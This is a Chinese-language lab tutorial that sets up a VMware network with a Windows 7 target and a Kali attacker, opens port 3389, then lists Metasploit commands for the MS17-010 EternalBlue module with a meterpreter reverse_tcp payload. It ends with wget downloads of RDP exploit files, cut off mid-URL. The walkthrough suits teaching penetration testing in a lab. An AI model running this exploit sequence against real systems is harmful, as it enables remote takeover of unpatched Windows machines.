一、实验环境
基于虚拟机运行（VMware）
(1)靶机（ip:192.168.8.*）：
(2)测试机(192.168.8.#)：
(3)将两个虚拟机设置于同一个网段中
a.在虚拟网络编辑器中，将VMnet0采用桥接模式，并桥接到网线网上
b.设置win7为动态获取ip
c.打开/etc/network/interfaces文件，做如下修改，并保存，重启kali
eth0接口会在系统启动时被自动配置,以DHCP方式配置网卡.
d.两台主机互ping
win7
kali
互ping测试（关掉防火墙）
测试可以ping通，现在测试机和靶机在同一网段了。
（3）将靶机的相应端口打开
在防火墙中更改入站设置，同时关闭防火墙，打开3389端口
观察可知，3389端口已打开
二、攻击准备（kali中操作）
Metasploit Framework(MSF)是一款开源安全漏洞检测工具，附带数千个已知的软件漏洞，并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程，被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的，但是再后来的新版中，改成了用Ruby语言编写的了。在kali中，自带了Metasploit工具。
进入框架：msfconsole
使用search命令查找相关漏洞： search ms17-010
使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息： info
设置攻击载荷：set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数：show options
设置参数：set RHOST 192.168.125.138
攻击：exploit / run
(1)更新kali msf
apt-get update
apt-get install metasploit-framework
(2)下载利用脚本
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules